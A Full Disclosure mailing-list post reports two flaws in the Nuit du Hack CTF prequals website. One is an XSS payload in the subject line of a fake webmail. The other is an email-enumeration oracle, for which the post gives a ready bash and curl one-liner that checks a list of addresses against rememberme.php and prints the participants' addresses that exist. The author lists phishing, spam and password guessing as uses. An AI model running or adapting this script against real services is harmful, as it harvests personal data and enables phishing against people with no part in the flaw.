Full Disclosure: Re: Oracle based personal data dumping attack on the nuit du hack CTF

[klondike <klondike () xiscosoft es>]

El 24/03/12 05:27, klondike escribió:
> So I was bored with the nuit du hack prequals and decided to test a
> bit the e-mail service.
>
> The guys have a cool XSS injection on the fake webmail service which
> can be exploited with a properly crafted subject (i.e.
> <script>alert('Hello!');</script> ). I thought the guys behind nuit du
> hack were a bit more serious than this...
>
> klondike
BTW and on completely unrelated note there is an attack which could
allow an attacker to guess the addresses of the participants as long as
they are on a database owned by him. This attack works by consulting the
page as if it were a yes/no oracle and using the results to know wether
an address is on the page database or not.

Usages of the attack? Well, trying to guess participants passwords,
phising attacks, spamming ... Pick your choice xD

And as with any good full disclosure here you go a nice script to
exploit it:
while read email; do curl -s -o-
http://prequals.nuitduhack.com/rememberme.php -d "mail=$email" | fgrep
'<div class="error">This mail doesn'\''t correspond to any
account</div>' > /dev/null && echo Failure || echo "$email"; done

Well don't be bad with it, participants have no fault of this,

klondike

PS: What I wonder now is, are the guys behind the CTF reading
Full-disclosure?

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